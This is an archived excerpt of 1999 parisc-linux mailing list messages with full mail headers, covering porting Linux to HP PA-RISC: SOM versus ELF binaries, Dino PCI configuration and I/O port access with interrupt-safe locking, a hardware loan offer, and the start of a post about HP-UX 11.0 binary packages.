Date: Mon, 14 Jun 1999 10:42:28 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <19990614104228.F31472@mencheca.ch.genedata.com>
References: <3762F4BE.C09B5CA9@thepuffingroup.com> <199906131702.NAA28988@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619641 12052 80.91.229.3 (22 Nov 2014 01:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:21 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 14 02:42:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA12356
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 02:42:36 -0600
Original-Received: (qmail 5972 invoked by uid 15267); 14 Jun 1999 08:42:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5962 invoked from network); 14 Jun 1999 08:42:23 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 08:42:23 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id KAA09916;
	Mon, 14 Jun 1999 10:42:29 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id KAA1441261;
	Mon, 14 Jun 1999 10:42:29 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10tSK4-00029rC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for dave@hiauly1.hia.nrc.ca; Mon, 14 Jun 1999 10:42:28 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199906131702.NAA28988@hiauly1.hia.nrc.ca>; from John David Anglin on Sun, Jun 13, 1999 at 01:02:58PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9545

On Sun, Jun 13, 1999 at 01:02:58PM -0400, John David Anglin wrote:
> > So, I'm going to spend some time making the kernel build on HPUX.  I
> > know there's quite a few changes to make.  But I'll keep the elf
> > specific work, it'll help later on.
> 
> The discussion about the merits/limitations of SOM and ELF over the
> last couple of days has been extremely useful.  As Alex says, there is
> a lot of work to be done on the kernel before it is usable.  However,
> in the long run, the port must be a complete self contained system.
> That is, it must support a linker capable of generating executables
> and the kernel.

[...]

> If this does not work out, then we must fall back to ELF32 and devote
> enough effort to get elf32-hppa working at an acceptable level.

The long term goal is to support:

 * HP-UX binaries
 * parisc/elf32 Linux binaries
 * parisc/elf64 Linux binaries (on parisc 2.0 hardware)

The binfmt_som kernel support is necessary in both the short term (to
get a working shell for free) and long term which is why I decided to
do it first.  Once the kernel is built, we can then run the HPUX linker
on it, but we have a `small' bootstrap problem.  As Jeff says though,
it's worth throwing away the whole of parisc/elf32 and starting again
from scratch.  We were just hoping to not have to do that for a while..

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 16:15:08 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <E10tYS4-00066l-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619641 12055 80.91.229.3 (22 Nov 2014 01:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 14 09:15:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13126
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 09:15:57 -0600
Original-Received: (qmail 12159 invoked by uid 15267); 14 Jun 1999 15:15:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12148 invoked from network); 14 Jun 1999 15:15:44 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 15:15:44 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tYS4-00066l-00
	for parisc-linux@thepuffingroup.com; Mon, 14 Jun 1999 16:15:08 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9546


I've put together draft code to handle the Dino PCI configuration space
accesses. There seems to be no way to do byte sized config accesses, do
I just read 32bits mask and write 32bits ?

The I/O space documentation also doesn't cover how to force sizes for
inb/inw/inl.

Im guessing you simply do that sized memory access to the 0x6C offset.

I'm mapping the notional I/O space 0x0000->0xFFFF as PCI space I/O. Since
HP boxes have I/O space high no MMIO can be confused for PCI this way.
If we have multiple Dino's in any box I need to put my thinking hat back on.

Also as a btw: PCI I/O port access will suck rocks on HP because we have
to grab a lock since it is a two stage operation. That may mean we want
to write smart copy/csum/io and ins* functions for PCI block I/O.

Alan


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 17:21:17 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <19990614172117.K31472@mencheca.ch.genedata.com>
References: <E10tYS4-00066l-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619642 12057 80.91.229.3 (22 Nov 2014 01:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 14 09:21:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13388
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 09:21:23 -0600
Original-Received: (qmail 13213 invoked by uid 15267); 14 Jun 1999 15:21:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13200 invoked from network); 14 Jun 1999 15:21:10 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 15:21:10 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA11151;
	Mon, 14 Jun 1999 17:21:18 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA1685180;
	Mon, 14 Jun 1999 17:21:18 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10tYY2-00029rC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for alan@lxorguk.ukuu.org.uk; Mon, 14 Jun 1999 17:21:18 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <E10tYS4-00066l-00@the-village.bc.nu>; from Alan Cox on Mon, Jun 14, 1999 at 04:15:08PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9547

On Mon, Jun 14, 1999 at 04:15:08PM +0100, Alan Cox wrote:
> Also as a btw: PCI I/O port access will suck rocks on HP because we have
> to grab a lock since it is a two stage operation. That may mean we want
> to write smart copy/csum/io and ins* functions for PCI block I/O.

Do we only have to grab a lock on SMP machines, or can we sleep between
the two accesses?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 16:21:29 +0100 (BST)
Lines: 11
Approved: news@gmane.org
Message-ID: <E10tYYE-00067e-00@the-village.bc.nu>
References: <19990614172117.K31472@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619642 12059 80.91.229.3 (22 Nov 2014 01:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:22 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 14 09:23:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13512
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 09:23:56 -0600
Original-Received: (qmail 13964 invoked by uid 15267); 14 Jun 1999 15:23:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13914 invoked from network); 14 Jun 1999 15:23:38 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 15:23:38 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tYYE-00067e-00; Mon, 14 Jun 1999 16:21:30 +0100
In-Reply-To: <19990614172117.K31472@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 14, 99 05:21:17 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9548

> On Mon, Jun 14, 1999 at 04:15:08PM +0100, Alan Cox wrote:
> > Also as a btw: PCI I/O port access will suck rocks on HP because we have
> > to grab a lock since it is a two stage operation. That may mean we want
> > to write smart copy/csum/io and ins* functions for PCI block I/O.
> 
> Do we only have to grab a lock on SMP machines, or can we sleep between
> the two accesses?

On a uniprocessor we might take an interrupt between the two cycles. So we
have to suffer anyway


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 17:37:57 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <19990614173757.L31472@mencheca.ch.genedata.com>
References: <19990614172117.K31472@mencheca.ch.genedata.com> <E10tYYE-00067e-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619642 12063 80.91.229.3 (22 Nov 2014 01:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:22 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jun 14 09:38:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13779
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 09:38:02 -0600
Original-Received: (qmail 16664 invoked by uid 15267); 14 Jun 1999 15:37:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16656 invoked from network); 14 Jun 1999 15:37:49 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 15:37:49 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA11216;
	Mon, 14 Jun 1999 17:37:58 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA1664969;
	Mon, 14 Jun 1999 17:37:58 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10tYo9-00029rC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Mon, 14 Jun 1999 17:37:57 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <E10tYYE-00067e-00@the-village.bc.nu>; from Alan Cox on Mon, Jun 14, 1999 at 04:21:29PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9549

On Mon, Jun 14, 1999 at 04:21:29PM +0100, Alan Cox wrote:
> > On Mon, Jun 14, 1999 at 04:15:08PM +0100, Alan Cox wrote:
> > > Also as a btw: PCI I/O port access will suck rocks on HP because we have
> > > to grab a lock since it is a two stage operation. That may mean we want
> > > to write smart copy/csum/io and ins* functions for PCI block I/O.
> > 
> > Do we only have to grab a lock on SMP machines, or can we sleep between
> > the two accesses?
> 
> On a uniprocessor we might take an interrupt between the two cycles. So we
> have to suffer anyway

Then we ought to disable interrupts, surely?  Otherwise we can have:

Grab lock
interrupt taken
driver attempts to perform IO, tries to take lock, machine hangs solid.

Or what sort of locking scheme did you have in mind?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan_Millar@manulife.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Would this help
Date: Mon, 14 Jun 1999 11:43:42 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <21054.5944203206$1416619643@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619643 12067 80.91.229.3 (22 Nov 2014 01:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Alan_Millar@manulife.com  Mon Jun 14 09:46:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA13969
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 09:46:46 -0600
Original-Received: (qmail 18534 invoked by uid 15267); 14 Jun 1999 15:46:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18527 invoked from network); 14 Jun 1999 15:46:35 -0000
Original-Received: from ents-gw1.manulife.com (HELO firewall1.manulife.com) (firewall-user@206.186.44.2)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 15:46:35 -0000
Original-Received: by firewall1.manulife.com; id LAA21372; Mon, 14 Jun 1999 11:48:30 -0400
Original-Received: from mlilhub01.manulife.com(167.92.146.196) by firewall1.manulife.com via smap (V4.2)
	id xma021305; Mon, 14 Jun 99 11:46:55 -0400
Original-Received: by MLILHUB01@manulife.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 85256790.005667C4 ; Mon, 14 Jun 1999 11:43:46 -0400
X-Lotus-FromDomain: MANULIFE
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9550



I understand.  I'm still skeptical that you're going to end up burning
more time fighting those lame elf tools than you would by building with
SOM tools.

Of course, if you had two HP machines, then this is a non-issue :-)



I have been following this newsgroup with a vested interest as I am sitting on 3
HP 712/80 machines. My long term plan is to convert them from HP-UX to Linux and
then ????? but its always nice to have good hardware (If someone offered you 3
old Mercedes would you just junk 2 of them).

IFF it would help the development effort I would be prepared to loan 2 of the
boxes on the basis they came back with Linux installed. (time would not be a
great issue as they are just sitting on the shelf at the moment)

I live in Cambridge Ontario if that helps. Let me know .......

Regards

a.millar@home.com


Alan Millar
Contract Consultant
Y2K End User Team
alan_millar@manulife.com
x6126



From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 17:10:28 +0100 (BST)
Lines: 13
Approved: news@gmane.org
Message-ID: <E10tZJe-0006Bu-00@the-village.bc.nu>
References: <19990614173757.L31472@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619643 12068 80.91.229.3 (22 Nov 2014 01:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:23 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Matthew.Wilcox@genedata.com,
        parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 14 10:11:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA14311
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 10:11:37 -0600
Original-Received: (qmail 23433 invoked by uid 15267); 14 Jun 1999 16:11:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23424 invoked from network); 14 Jun 1999 16:11:24 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 16:11:24 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tZJe-0006Bu-00; Mon, 14 Jun 1999 17:10:30 +0100
In-Reply-To: <19990614173757.L31472@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 14, 99 05:37:57 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9551

> > On a uniprocessor we might take an interrupt between the two cycles. So we
> > have to suffer anyway
> 
> Then we ought to disable interrupts, surely?  Otherwise we can have:
> 
> Grab lock
> interrupt taken
> driver attempts to perform IO, tries to take lock, machine hangs solid.
> 
> Or what sort of locking scheme did you have in mind?

Im already using spinlock_irqsave, for the obvious reason you enumerate above


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Mon, 14 Jun 1999 13:15:10 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <199906142015.NAA18426@milano.cup.hp.com>
References: <E10tYS4-00066l-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619643 12070 80.91.229.3 (22 Nov 2014 01:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Jun 14 14:15:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA15035
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 14:15:37 -0600
Original-Received: (qmail 6680 invoked by uid 15267); 14 Jun 1999 20:15:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6668 invoked from network); 14 Jun 1999 20:15:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 20:15:25 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA07905
	for <parisc-linux@thepuffingroup.com>; Mon, 14 Jun 1999 13:15:33 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA18426 for <parisc-linux@thepuffingroup.com>; Mon, 14 Jun 1999 13:15:14 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 14 Jun 1999 16:15:08 PDT."
             <E10tYS4-00066l-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:9552

Alan Cox wrote:
> 
> I've put together draft code to handle the Dino PCI configuration space
> accesses. There seems to be no way to do byte sized config accesses, do
> I just read 32bits mask and write 32bits ?

I don't recall HP-UX performing read/modify/write.
I thought Dino will forward the byte enables to the PCI bus.
PCI-PCI bridge numbering I think depends on this.

> The I/O space documentation also doesn't cover how to force sizes for
> inb/inw/inl.

It doesn't clearly for configuration space.
It does for I/O space. I suspect all spaces are handled the
same in this regard.
See section 7.7.3 "Configuration Access Endianness".
Other sections may talk more about the "byte enable" signals.

> Im guessing you simply do that sized memory access to the 0x6C offset.

That's been my experience.

> 
> I'm mapping the notional I/O space 0x0000->0xFFFF as PCI space I/O. Since
> HP boxes have I/O space high no MMIO can be confused for PCI this way.
> If we have multiple Dino's in any box I need to put my thinking hat back on.

Not a problem. Each Dino has it's own configuration and I/O space.
If the parent/child relationship between Dino and PCI devices is
maintained then bus numbering and address assignment is not a problem.

Enabling memory mapped I/O requires programming Dino to respond
to a unique host address range. On the A/B/C/J class boxes, firmware
takes care of this and programming PCI devices BAR registers to match.
The OS can pick this up and pass it too device drivers.

On these boxes it's "uncomplicated" since the host physical address
is the same as the PCI bus address. I mention this since it's not
the case for all HP platforms.

> Also as a btw: PCI I/O port access will suck rocks on HP because we have
> to grab a lock since it is a two stage operation. That may mean we want
> to write smart copy/csum/io and ins* functions for PCI block I/O.

Yup.  HP has generally used memory mapped I/O on all it's platforms.
Since I/O port space is (was?) not performance path, it was OK for the
PCI device driver has to use what we call an "accessor" function.
Ditto for PCI configuration space access.

grant

> Alan
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino PCI and I/O spaces
Date: Tue, 15 Jun 1999 00:05:46 +0100 (BST)
Lines: 42
Approved: news@gmane.org
Message-ID: <E10tfnY-0006em-00@the-village.bc.nu>
References: <199906142015.NAA18426@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619644 12071 80.91.229.3 (22 Nov 2014 01:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Jun 14 17:26:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA15507
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 17:26:02 -0600
Original-Received: (qmail 11300 invoked by uid 15267); 14 Jun 1999 23:25:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11287 invoked from network); 14 Jun 1999 23:25:48 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 23:25:48 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tfnY-0006em-00; Tue, 15 Jun 1999 00:05:48 +0100
In-Reply-To: <199906142015.NAA18426@milano.cup.hp.com> from "Grant Grundler" at Jun 14, 99 01:15:10 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9553

> > accesses. There seems to be no way to do byte sized config accesses, do
> > I just read 32bits mask and write 32bits ?
> 
> I thought Dino will forward the byte enables to the PCI bus.
> PCI-PCI bridge numbering I think depends on this.

So how do I set those. The documentaiton also says the low two bits of
the register read back as 0. I guess that doesnt actually imply that the
write of it has no affect. 

> It does for I/O space. I suspect all spaces are handled the
> same in this regard.
> See section 7.7.3 "Configuration Access Endianness".
> Other sections may talk more about the "byte enable" signals.

Ok

> > Im guessing you simply do that sized memory access to the 0x6C offset.
> That's been my experience.

Cool

> Enabling memory mapped I/O requires programming Dino to respond
> to a unique host address range. On the A/B/C/J class boxes, firmware
> takes care of this and programming PCI devices BAR registers to match.
> The OS can pick this up and pass it too device drivers.

Excellent. So I can relatively easily stuff an S3 card in the box and
use it as a debugging buffer once we get booting

> On these boxes it's "uncomplicated" since the host physical address
> is the same as the PCI bus address. I mention this since it's not
> the case for all HP platforms.

Ok. We have a clear notion of bus/physical/virtual seperation, and translation
macros. Linux stuff all uses

virt_to_bus() - to convert to bus space
virt_to_phys() - to convert to physical space

Alan


From - Thu Nov 08 21:15:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@osiris.silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX 11.0 binaries
Date: Mon, 14 Jun 1999 18:34:45 -0500 (CDT)
Lines: 52
Approved: news@gmane.org
Message-ID: <199906142334.SAA07930@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619644 12073 80.91.229.3 (22 Nov 2014 01:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Mon Jun 14 17:34:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA15662
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 17:34:29 -0600
Original-Received: (qmail 13432 invoked by uid 15267); 14 Jun 1999 23:34:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13421 invoked from network); 14 Jun 1999 23:34:15 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 23:34:15 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id SAA07930
	for parisc-linux@thepuffingroup.com; Mon, 14 Jun 1999 18:34:45 -0500
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9554

I started packaging up binaries of useful things for HP-UX 11.0.  The
binaries (in gzip'd depot format) are at

    ftp://puffin.external.hp.com/pub/parisc/binaries/depot/

Note that everything is configured to install in /usr/local.  (Oh, and
if you have a fresh install of HP-UX 11, you might want to tighten up
the permissions on /usr/local/*.)

The list of stuff I've compiled is somewhat short at this point, but
I'll be adding to it as quickly as my 715/100 will allow.  ;-)  So far
